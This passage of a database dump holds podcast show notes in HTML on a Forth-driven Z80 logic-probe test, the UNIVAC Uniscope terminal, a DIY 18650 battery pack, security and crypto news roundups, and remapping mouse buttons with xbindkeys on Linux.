/></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<ol start=\"6\" type=\"1\">\n<li>fixing some words, refactoring some words, defining new words\n<ul>\n<li>fixed the data processing word to us the input on pin e4 (digital 2)\nnot the output on pin h6 (digital 9)</li>\n<li>changed freq= some value to simply pulse, not interested in the\nspecific frequency</li>\n<li>split clock and logic probe init words</li>\n<li>added some words to control the reset line reset and run</li>\n<li>added a word step that allows for single clock pulses</li>\n</ul></li>\n<li>the test, mega board plugged into laptop, seral terminal running\n<ul>\n<li>spool up the logic probe</li>\n<li>spool up the microcontroller board setting up a port to provide data\non the z80 data bus (rudimentary rom)</li>\n<li>add 5 volts</li>\n<li>initialize and start the clock</li>\n<li>probe the clock line</li>\n<li>probe a0 line</li>\n</ul></li>\n<li>a little more to see what else we can discern\n<ul>\n<li>single step to reset</li>\n<li>probe m1</li>\n<li>single step to reset</li>\n<li>add halt instruction</li>\n<li>probe halt line</li>\n</ul></li>\n<li>this is output captured from the tests run on the show. lines that\nbegin with a back slash are comments used as narration\n<code>ok&lt;#,ram&gt;</code> is the forth interpreter reporting it has\nsuccessfully processed the proceeding word(s), including comments pulse,\nhigh and low are output from the logicprobe, all other words are defined\nin the source text and the end of the notes</li>\n</ol>\n<pre><code>E FlashForth 5 ATmega2560 13.06.2022\n\n\\ initialize the logic probe ok&lt;#,ram&gt;\nlogicprobe.init ok&lt;#,ram&gt;\n\\ initialize the clock ok&lt;#,ram&gt;\nclock.init ok&lt;#,ram&gt;\n\\ initialize arduinomega ports that interact with z80 ok&lt;#,ram&gt;\nz80.ports.init ok&lt;#,ram&gt;\n\\ add power on the board ok&lt;#,ram&gt;\n\\ probe the clock pin to see if there is activity ok&lt;#,ram&gt;\nsample\npulse ok&lt;#,ram&gt;\n\\ success! ok&lt;#,ram&gt;\n\\ probe adrress line A0, pin 30 on the z80 ok&lt;#,ram&gt;\nsample\npulse ok&lt;#,ram&gt;\n\\ pulse means there is activity on the bus ok&lt;#,ram&gt;\n\\ stop the clock and probe A0 again, should see either a static high or low\nsignal ok&lt;#,ram&gt;\nstop.clock sample\nlow ok&lt;#,ram&gt;\n\\ now move logic probe to pin 27, the M1 signal ok&lt;#,ram&gt;\n\\ put the z80 in reset and give three clock steps ok&lt;#,ram&gt;\nreset ok&lt;#,ram&gt;\nstep ok&lt;#,ram&gt;\nstep ok&lt;#,ram&gt;\nstep ok&lt;#,ram&gt;\n\\ the z80 should be reset, now put in run ok&lt;#,ram&gt;\nrun ok&lt;#,ram&gt;\n\\ now single step the clock to see the M1 ok&lt;#,ram&gt;\n\\ signal go from high to low as the z80 begins ok&lt;#,ram&gt;\n\\ fetching data fro the data bus at address 0 ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\n\\ success! the M1 signal is working as expected ok&lt;#,ram&gt;\n\\ now reset the z80 and see what happens when ok&lt;#,ram&gt;\n\\ we give a different instruction this time hex 76 ok&lt;#,ram&gt;\n\\ the halt instruction. We should see the halt signal go from ok&lt;#,ram&gt;\n\\ high to low ok&lt;#,ram&gt;\nreset step step step ok&lt;#,ram&gt;\n\\ put hat instruction on data lines ok&lt;#,ram&gt;\n$76 DATA c! ok&lt;#,ram&gt;\n\\ now run mode ok&lt;#,ram&gt;\nrun ok&lt;#,ram&gt;\n\\ step clock and sample pin 18 the halt line ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\n\\ 4 clock cycles and halt line goes low and stays low, success! ok&lt;#,ram&gt;\n\\ thanks for listening ok&lt;#,ram&gt;</code></pre>\n<ol start=\"8\" type=\"1\">\n<li>Forth source code</li>\n</ol>\n<pre><code>-logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n %0 DDRE c! \\ e input\n %0000.0010 EICRB mset \\ falling edge\n [&#39;] ext4.irq #6 int! \\ attach interrupt\n;\n\n: clock.init ( -- )\n 1249 Compare ! \\ 100 hz\n %0000.1000 DDRH mset \\ h3 output\n %0100.0000 TCCR4A c! \\ toggle d6, ph3 on compare match\n %0000.1011 TCCR4B c! \\ set ctc mode, clk/64\n Compare @ OCR4A ! \\ set compare value\n;\n\n\\ helper words\n: start.clock ( -- ) %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ;\n: stop.clock ( -- ) %0000.0000 TCCR4A c! %0000.0000 TCCR4B c! ;\n: set.frequency ( n -- ) OCR4A ! ; \\ set compare value\n: pin.high ( -- ) %0000.1000 PORTH mset ;\n: pin.low ( -- ) %0000.1000 PORTH mclr ;\n: open.gate ( -- ) 0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- ) %0001.0000 EIMSK mclr ;\n\n: process.data ( -- )\n Count @ 1-\n Count !\n Count @ 0 &gt; if\n \\ cr .&quot; freq=&quot; 10 * .\n cr .&quot; pulse&quot;\n else\n %0001.0000 PINE mtst if\n cr .&quot; high&quot;\n else\n cr .&quot; low&quot;\n then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ nop tester\n-nop\nmarker -nop\n\n$20 constant PINA\n$21 constant DDR.DATA\n$22 constant DATA\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$2f constant PINF\n$30 constant DDRF\n$31 constant PORTF\n\n%0000.0001 constant WAIT\n%0000.0010 constant BUSRQ\n%0000.0100 constant RESET\n%0001.0000 constant INT\n%0010.0000 constant NMI\n\n: z80.ports.init ( -- )\n \\ data port output\n $ff DDR.DATA c!\n \\ control signals, output\n NMI INT or DDRB mset\n WAIT BUSRQ RESET or or DDRF mset\n \\ nop instruction on data port\n $ff DATA mclr\n \\ control lines high\n NMI INT or PORTB mset\n WAIT BUSRQ RESET or or PORTF mset\n;\n\n: reset ( -- ) RESET PORTF mclr ;\n: run ( -- ) RESET PORTF mset ;\n: step ( -- ) pin.high 1 ms pin.low ;\n\n\\ logicprobe.init\n\\ clock.init\n\\ z80.ports.init\n\\ sample</code></pre>\n',326,0,0,'CC-BY-SA','z80, forth, retrocomputer',0,0,1),
(3815,'2023-03-17','The UNIVAC Uniscope - The first terminal with a video monitor',2345,'Hear about the Uniscope 300 mainframe terminal from 1964.','<p>In the early days of computing, the computing power was kept in centralized large mainframes and users would connect to them via so called \"dumb\" terminals. These often provided their output through a printer and continuous feed of paper. However in 1964 UNIVAC introduced the Uniscope 300, which was one of the first terminals to provide a video monitor for display. With the introduction of this system came the introduction of several concepts that we take for granted today and they are described during the reading of this brochure.</p>\n\n<p>The brochure was made available through the Computer History Museum at <a href=\"https://www.computerhistory.org/collections/catalog/102646317\">https://www.computerhistory.org/collections/catalog/102646317</a></p>\n\n<p>As I mention in the episode, $15,000 USD in 1964 is worth considerably more today, according to an online inflation calculator it is now worth approximately $144,000 today. So even if that was for 48 terminals as it seems to mention in the hand written note, that might equate to about $3000 per terminal in 2023 dollars.</p>\n\n<p>Here are some related links below:\n\n<ul>\n<li>UNIVAC - <a href=\"https://en.wikipedia.org/wiki/UNIVAC\">https://en.wikipedia.org/wiki/UNIVAC</a>\n\n<li>The Uniscope line - <a href=\"https://en.wikipedia.org/wiki/Uniscope\">https://en.wikipedia.org/wiki/Uniscope</a>\n\n<li>Uniscope terminal multiplexer service manual - <a href=\"https://www.computerhistory.org/collections/catalog/102784700\">https://www.computerhistory.org/collections/catalog/102784700</a>\n</ul>\n\n',194,0,0,'CC-BY-SA','computer history,terminals',0,0,1),
(3816,'2023-03-20','Post Apocalyptic 4s5 Battery Pack ',479,'Tough Battery Design Worthy of the Post Apocalyptic Robotics Database ','<p>HR000000000<br />\nH Hybrid: Denotes some prepurchased or hard to find components<br />\nR Robotics: suitable for robots</p>\n<p>buy: 4s 40A BMS<br />\n<a href=\"https://www.aliexpress.com/item/4000025857655.html\"\nclass=\"uri\">https://www.aliexpress.com/item/4000025857655.html</a>\n(can\'t specifically vouch for this vendor, just chose the first that\ncame up)<br />\nmake sure to choose 4s and balance</p>\n<ol type=\"1\">\n<li><p>find or buy materials: duct or gorilla tape, trashed computer dvd\nor cd drive, 20 18650 cells, molex connectors(you can also use barrel\njacks or whatever you want to transfer power), wire and maybe \'tab wire\'\n<a href=\"https://nl.aliexpress.com/item/32650006768.html\"\nclass=\"uri\">https://nl.aliexpress.com/item/32650006768.html</a></p></li>\n<li><p>solder everything together as per schematic and pictures (there\nis theoretically a danger in soldering cells, but I have never had a\nproblem. Have a pair of pliers and a nearby window handy to throw them\nout of if anything goes wrong)</p></li>\n<li><p>wrap in cardboard and tape as per pictures</p></li>\n<li><p>add the cd/dvd drive lids(if you taped well you won\'t short\nanything and burn your house down</p></li>\n<li><p>tape dvd lids to battery</p></li>\n</ol>\n<p>Getting into the battery for maintenance just requires a utility\nknife.</p>\n<p>Watt Hour does a great job describing the 3s BMS, which is very\nsimilar to the 4s used in my case: <a\nhref=\"https://yewtu.be/watch?v=QNENyu97w2A\"\nclass=\"uri\">https://yewtu.be/watch?v=QNENyu97w2A</a></p>\n<p><em>Battery Schematic</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/0_4s5batteryschematic.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/0_4s5batteryschematic_thumbnail.jpg\"\nalt=\"Battery Schematic\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>Cut through tape to reveal battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/1_cutthroughtapetorevealbattery.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/1_cutthroughtapetorevealbattery_thumbnail.jpg\"\nalt=\"Cut through tape to reveal battery\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Flat metal holds cells together</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/2_flatmetalforSolarCellsHoldscellstogether.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/2_flatmetalforSolarCellsHoldscellstogether_thumbnail.jpg\"\nalt=\"Flat metal holds cells together\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Detail of 4.2v</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/3_detailof4.2v.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/3_detailof4.2v_thumbnail.2v.jpg\"\nalt=\"Detail of 4.2v\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>Only have to desolder one side</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/4_onlyhavetodesolderoneside.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/4_onlyhavetodesolderoneside_thumbnail.jpg\"\nalt=\"Only have to desolder one side\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>New cells in</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/5_newcellsin.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/5_newcellsin_thumbnail.jpg\"\nalt=\"New cells in\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>Make sure there is thick tape covering battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/5.5_makesure_there_is_thick_tapecoveringbattery.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/5.5_makesure_there_is_thick_tapecoveringbattery_thumbnail.5_makesure_there_is_thick_tapecoveringbattery.jpg\"\nalt=\"Make sure there is thick tape covering battery\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>DVD drive case for stability</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/6_dvddrivecaseforstability.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/6_dvddrivecaseforstability_thumbnail.jpg\"\nalt=\"DVD drive case for stability\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Tape the DVE case to battery</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/7_Tapethe_dvdcasetobattery_ChargeboardisbehindtheCardboardTaped_FlapAbove.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/7_Tapethe_dvdcasetobattery_ChargeboardisbehindtheCardboardTaped_FlapAbove_thumbnail.jpg\"\nalt=\"Tape the DVE case to battery\" /></a> <br/><small><small><em>Click\nthe thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Charge board with Molex connector</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/8_chargeboardwithmolexconn.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/8_chargeboardwithmolexconn_thumbnail.jpg\"\nalt=\"Charge board with Molex connector\" /></a>\n<br/><small><small><em>Click the thumbnail to see the full-sized\nimage</em></small></small></p>\n<p><em>Outdoors 1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3816/9_outdoors1.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/9_outdoors1_thumbnail.jpg\"\nalt=\"Outdoors 1\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>Outdoors 2</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3816/9.5_outdoors2.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3816/9.5_outdoors2_thumbnail.5_outdoors2.jpg\"\nalt=\"Outdoors 2\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n',401,103,1,'CC-BY-SA','battery,18650,cells,4s',0,0,1),
(3817,'2023-03-21','The Oh No! News.',700,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news\"><em>Oh No!</em> News is Good News.</h2>\n<hr />\n<ul>\n<li><a\nhref=\"https://firewalltimes.com/recent-data-breaches/\">firewalltimes:</a>\nRecent Data Breaches &#x2013; 2023.\n<ul>\n<li><a\nhref=\"https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm\">sec:</a>\nOn January 5, 2023, - T-Mobile Discloses Data Breach Affecting 37\nMillion Customers.</li>\n<li>On January 5, 2023, T-Mobile US, Inc. identified that a bad actor\nwas obtaining data through a single Application Programming Interface\n(&#x201C;API&#x201D;) without authorization.</li>\n</ul></li>\n<li><a\nhref=\"https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/\">bleepingcomputer:</a>\nTruthFinder, Instant Checkmate confirm data breach affecting 20M\ncustomers.\n<ul>\n<li><a\nhref=\"https://www.instantcheckmate.com/security-incident-alert/\">instantcheckmate:</a>\n2019 Account List Data Security Incident.</li>\n<li><a\nhref=\"https://www.truthfinder.com/security-incident-alert/\">truthfinder:</a>\n2019 Account List Data Security Incident.</li>\n<li>\"We learned recently that a list, including name, email, telephone\nnumber in some instances, as well as securely encrypted passwords and\nexpired and inactive password reset tokens, of Instant Checkmate\nsubscribers was being discussed and made available in an online forum.\nWe have confirmed that the list was created several years ago and\nappears to include all customer accounts created between 2011 and 2019.\nThe published list originated inside our company.\"</li>\n</ul></li>\n<li><a href=\"https://www.sec.gov/news/press-release/2023-34\">sec:</a>\nSEC Charges NBA Hall of Famer Paul Pierce for Unlawfully Touting and\nMaking Misleading Statements about Crypto Security.\n<ul>\n<li>The Securities and Exchange Commission today announced charges\nagainst former NBA player Paul Pierce for touting EMAX tokens, crypto\nasset securities offered and sold by EthereumMax, on social media\nwithout disclosing the payment he received for the promotion and for\nmaking false and misleading promotional statements about the same crypto\nasset. Pierce agreed to settle the charges and pay $1.409 million in\npenalties, disgorgement, and interest.</li>\n</ul></li>\n<li><a href=\"https://www.sec.gov/news/press-release/2023-32\">sec:</a>\nSEC Charges Terraform and CEO Do Kwon with Defrauding Investors in\nCrypto Schemes.\n<ul>\n<li>The Securities and Exchange Commission today charged Singapore-based\nTerraform Labs PTE Ltd and Do Hyeong Kwon with orchestrating a\nmulti-billion dollar crypto asset securities fraud involving an\nalgorithmic stablecoin and other crypto asset securities.</li>\n</ul></li>\n<li><a\nhref=\"https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061?u=d0od\">discourse.ubuntu:</a>\nUbuntu Flavor Packaging Defaults.\n<ul>\n<li>To maintain this focus while also providing user choice, Ubuntu and\nits flavors consider debs and snaps the default experience. Users have\nthe freedom of choice to get their software from other sources,\nincluding Flatpak. A way to install these alternatives is, and will\ncontinue to be, available for installation from the Ubuntu archive with\na simple command.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li>References (APA format).\n<ul>\n<li><a\nhref=\"https://firewalltimes.com/author/michael-x-heiligenstein/\">Heiligenstein,\nM. X.</a> (2023, January 27). Recent Data Breaches - 2023.\nFirewalltimes. <a\nhref=\"https://firewalltimes.com/recent-data-breaches/\">https://firewalltimes.com/recent-data-breaches/</a></li>\n<li>U.S. Securities and Exchange Commission (2023, January 19). Form 8-K\n[T-Moble data breach]. SEC. <a\nhref=\"https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm\">https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm</a></li>\n<li>Abrams, L. (2023, February 3) TruthFinder, Instant Checkmate confirm\ndata breach affecting 20M customers. bleepingComputer. <a\nhref=\"https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/\">https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/</a></li>\n<li>instantcheckmate. (2023, January). 2019 Account List Data Security\nIncident. instantcheckmate. <a\nhref=\"https://www.instantcheckmate.com/security-incident-alert/\">https://www.instantcheckmate.com/security-incident-alert/</a></li>\n<li>truthfinder. (2023, January). 2019 Account List Data Security\nIncident. truthfinder. <a\nhref=\"https://www.truthfinder.com/security-incident-alert/\">https://www.truthfinder.com/security-incident-alert/</a></li>\n<li>U.S. Securities and Exchange Commission (2023, February 17). SEC\nCharges NBA Hall of Famer Paul Pierce for Unlawfully Touting and Making\nMisleading Statements about Crypto Security. SEC. <a\nhref=\"https://www.sec.gov/news/press-release/2023-34\">https://www.sec.gov/news/press-release/2023-34</a></li>\n<li>U.S. Securities and Exchange Commission (2023, February 16). SEC\nCharges Terraform and CEO Do Kwon with Defrauding Investors in Crypto\nSchemes. SEC. <a\nhref=\"https://www.sec.gov/news/press-release/2023-32\">https://www.sec.gov/news/press-release/2023-32</a></li>\n<li><a href=\"https://discourse.ubuntu.com/u/kewisch\">@kewisch</a> (2023,\nFebruary 21). Ubuntu Flavor Packaging Defaults. [Ubuntu Discourse]. <a\nhref=\"https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061\">https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061</a></li>\n<li><a href=\"https://ubuntu.com/blog/author/igorljubuncic\">Ljubuncic\nI.</a> (2019, August 29). A technical comparison between snaps and debs.\nubuntu. <a\nhref=\"https://ubuntu.com/blog/a-technical-comparison-between-snaps-and-debs\">https://ubuntu.com/blog/a-technical-comparison-between-snaps-and-debs</a></li>\n<li>[ts.] (2022, March 22). Re: apt installs snap packages. ubuntu\nlists. <a\nhref=\"https://lists.ubuntu.com/archives/foundations-bugs/2022-March/470881.html\">https://lists.ubuntu.com/archives/foundations-bugs/2022-March/470881.html</a></li>\n<li>Tilloy O. (2022, February 7). Re: If apt installs snap package, then\nwarn, because maybe i dont want snap package. ubuntu lists. <a\nhref=\"https://lists.ubuntu.com/archives/foundations-bugs/2022-February/468140.html\">https://lists.ubuntu.com/archives/foundations-bugs/2022-February/468140.html</a></li>\n<li><a\nhref=\"https://askubuntu.com/users/349903/reducing-activity\">@reducing\nactivity</a> (2021, June 12). How can I stop apt from installing snap\npackages? askubuntu. <a\nhref=\"https://askubuntu.com/questions/1345385/how-can-i-stop-apt-from-installing-snap-packages\">https://askubuntu.com/questions/1345385/how-can-i-stop-apt-from-installing-snap-packages</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','\"Oh No, News\", Data Breaches, Crypto Schemes, Packaging Defaults',0,0,1),
(3818,'2023-03-22','nop test redux',571,'A better nop test','<h2 id=\"nop-redux\">nop redux</h2>\n<p>This is the updated code</p>\n<pre><code>-logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$b0 constant TCCR2A\n$b1 constant TCCR2B\n$b3 constant OCR2A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n \\ tone generatoed through timer2\n %0001.0000 DDRB mset \\ d10, pb4\n %0100.0010 TCCR2A c! \\ use OC2A, ctc mode\n $ff OCR2A c! \\ compare falue\n\n %0 DDRE c! \\ e input\n %0000.0010 EICRB mset \\ falling edge\n [&#39;] ext4.irq #6 int! \\ attach interrupt\n;\n\n\\ helper words\n: open.gate ( -- ) 0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- ) %0001.0000 EIMSK mclr ;\n\n\\ tone stuff\n: high.tone ( -- ) %0000.0100 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: low.tone ( -- ) %0000.0110 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: alt.tone ( -- )\n 3 for\n %0000.0100 TCCR2B c! 150 ms 0 TCCR2B c!\n 150 ms\n %0000.0110 TCCR2B c! 150 ms 0 TCCR2B c!\n 150 ms\n next\n;\n\n: process.data ( -- )\n Count @ 1-\n Count !\n Count @ 0 &gt; if\n \\ cr .&quot; freq=&quot; 10 * .\n cr .&quot; pulse&quot;\n alt.tone \\ sound output\n else\n %0001.0000 PINE mtst if\n cr .&quot; high&quot;\n high.tone \\ sound output\n else\n cr .&quot; low&quot;\n low.tone \\ sound output\n then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ words called at the forth command line to do the test</code></pre>\n<ol type=\"1\">\n<li>demo tones</li>\n</ol>\n<pre><code>low.tone\nhigh.tone\nalt.tone</code></pre>\n<ol start=\"2\" type=\"1\">\n<li>the test</li>\n</ol>\n<pre><code>sample \\ a stop clocked\nstart.clock\nsample</code></pre>\n<ol start=\"3\" type=\"1\">\n<li>a0 line</li>\n</ol>\n<pre><code>sample</code></pre>\n<ol start=\"4\" type=\"1\">\n<li>stop.clock and sample a0</li>\n</ol>\n<pre><code>stop.clock\nsample</code></pre>\n<ol start=\"5\" type=\"1\">\n<li>reset the z80 and single step probing the m1 signal</li>\n</ol>\n<pre><code>reset\nstep\nstep\nstep\nstep\nstep\nstep\nrun\nstep sample\nstep sample\nstep sample\nstep sample\nsample</code></pre>\n<p>if its jammed hit it, if it breaks it needed replacing anyway</p>\n',326,0,0,'CC-BY-SA','z80, forth, retrocomputer',0,0,1),
(3819,'2023-03-23','Remapping Mouse Buttons with XBindKeys on Linux',600,'I explain how I assigned different functions to the spare buttons on my trackball mice.','<h2>Remapping Mouse Buttons with XBindKeys on Linux</h2>\n\n<p>After a really long time of not bothering to figure out how to do this, I finally did some research and found out how to remap the extra buttons on my Kensington Expert mouse and my Logitech marble trackball mouse in a Linux environment. The tools it needed were <code>xvkbd</code>, <code>xdotool</code>, and <code>xbindkeys</code>. I already had the first two installed, but had never used <code>xbindkeys</code> before. I also used <code>xev</code> to identify the button numbers and key numbers.</p>\n\n<p>The Kensington Expert Mouse is one that I\'ve had for about 15 years, and it was fairly expensive when I bought it, something like $75 or $80. It has four large buttons with a large trackball in the middle and a scroll wheel going around the track ball. I bought it at a time when I was doing a lot of graphic work that required clicking and dragging and double-clicking and stuff like that. If you\'re using it in a Mac or Windows environment, there is a special configuration tool that you can use to set it up just how you want. I had always configured it so that the upper left and upper right buttons were used for double-clicking and click dragging. This helped reduce a lot of strain on my hands. I have never gotten this to work on Linux, though, until today.</p>\n\n<p>If you want to do this yourself, the first thing to do is make sure you have these packages installed: <code>xvkbd</code>, <code>xdotool</code>, and <code>xbindkeys</code>.</p>\n\nThen create a configuration file in your home directory:\n\n<pre>\n~/.xbindkeysrc\n</pre>\n\nIn order to map the upper left button to \"double click,\" and the upper right button to \"click and drag,\" I added these lines to the configuration file:\n\n<pre>\n# Double-click assigned to button 2 (upper left)\n\n\"xdotool sleep 0.2 click 1 ; xdotool click 1\"\n b:2\n\n# Click and Drag assigned to button 8 (upper right)\n\n\"xdotool sleep 0.2 mousedown 1\"\n b:8\n</pre>\n\nTo test the settings, simply kill the <code>xbindkeys</code> process and restart it by typing <code>xbindkeys</code>:\n\n<pre>\nuser@hostname:~$ pkill -f xbindkeys\nuser@hostname:~$ xbindkeys\n</pre>\n\n\n<p>On my desktop computer I have a Logitech marble trackball mouse, and it has two small keys that are assigned to back and forward by default. This can be handy for navigating file managers and web pages, but I wanted them to be assigned to \"page up\" and \"page down\" (to make up for the lack of a scroll wheel on the mouse). Here is the configuration file for that machine:</p>\n\n<pre>\n\"xvkbd -text \"\\[Page_Down]\"\"\n b:8\n\n\"xvkbd -text \"\\[Page_Up]\"\"\n b:9\n</pre>\n\n<p>I suppose I could have used <code>xdotool</code> for this configuration file as well, but for reasons I can\'t remember now, I tried <code>xvkbd</code> first and it worked, so I did not experiment further. I used <code>xdotool</code> for the Kensington because <code>xvkbd</code> did not have a way to perform virtual mouse clicks.</p>\n\n\n<h2>Links</h2>\n\n<ul>\n <li><a href=\"https://manpages.ubuntu.com/manpages/jammy/en/man1/xev.1.html\">xev</a></li>\n <li><a href=\"https://www.nongnu.org/xbindkeys/\">XBindKeys</a></li>\n <li><a href=\"https://manpages.ubuntu.com/manpages/jammy/en/man1/xvkbd.1.html\">xvkbd</a></li>\n <li><a href=\"https://manpages.ubuntu.com/manpages/trusty/man1/xdotool.1.html\">xdotool</a></li>\n</ul>\n',238,0,0,'CC-BY-SA','Linux configuration, tips and tricks, mouse configuration, keymapping',0,0,1),
(3821,'2023-03-27','The Oh No! News.',797,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news\"><em>Oh No!</em> News, is Good\nNews.</h2>\n<hr />\n<ul>\n<li><strong>Threat analysis; your attack surface.</strong>\n<ul>\n<li><strong>TAGS:</strong> Malware, Phishing, Security Breach</li>\n</ul></li>\n<li><strong>GoDaddy, a Web Hosting Provider Hit Multiple Times by the\nSame Group.</strong>\n<ul>\n<li>This month, GoDaddy, a leading web hosting provider, revealed that\nit had experienced a major security breach over several years, resulting\nin the theft of company source code, customer and employee login\ncredentials, and the introduction of malware onto customer\nwebsites.</li>\n<li>Major Security Breach: Spanning several years.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nEmployee login credentials &amp; customer data.</li>\n<li><a\nhref=\"https://d18rn0p25nwr6d.cloudfront.net/CIK-0001609711/e4736ddb-b4c7-485b-a8fc-1827691692c9.pdf\">10-k\nform</a> Filled with the U.S. Securities and Exchange Commission.</li>\n<li><a\nhref=\"https://www.sec.gov/Archives/edgar/data/1609711/000160971121000122/gddyblogpostnov222021.htm\">sec:</a>\nGoDaddy Announces Security Incident Affecting Managed WordPress\nService.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\">Malware:</a>\nCompromising customer websites managed by GoDaddy.</li>\n<li>Phishing Attacks: Exposed customer data including login credentials,\nemail addresses, and SSL private keys.</li>\n</ul></li>\n</ul></li>\n<li><strong>Chick-Fil-A Customers are Victims of a Data Breach.</strong>\n<ul>\n<li>Fast-food chain Chick-fil-A has issued a warning to customers\nregarding a recent data security breach. The incident occurred between\nDec. 18, 2022 and Feb. 12, 2023, during which unauthorized parties\ngained access to customer information, according to a statement posted\non the California Attorney General&#x2019;s website on Tuesday.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\">Data Breach:</a>\nmembership numbers, mobile pay numbers, QR codes, last 4 digits of\ncredit/debit card numbers, credits on Chick-fil-A accounts, birthdays,\nphone numbers, and addresses.</li>\n</ul></li>\n</ul></li>\n<li><strong>New phishing campaign uses fake ChatGPT platform to scam\neager investors.</strong>\n<ul>\n<li>Bitdefender Antispam Labs confirmed that these scams initiate with\nan email containing a link that directs users to a copycat version of\nChatGPT. The goal of this copycat version is to convince users that 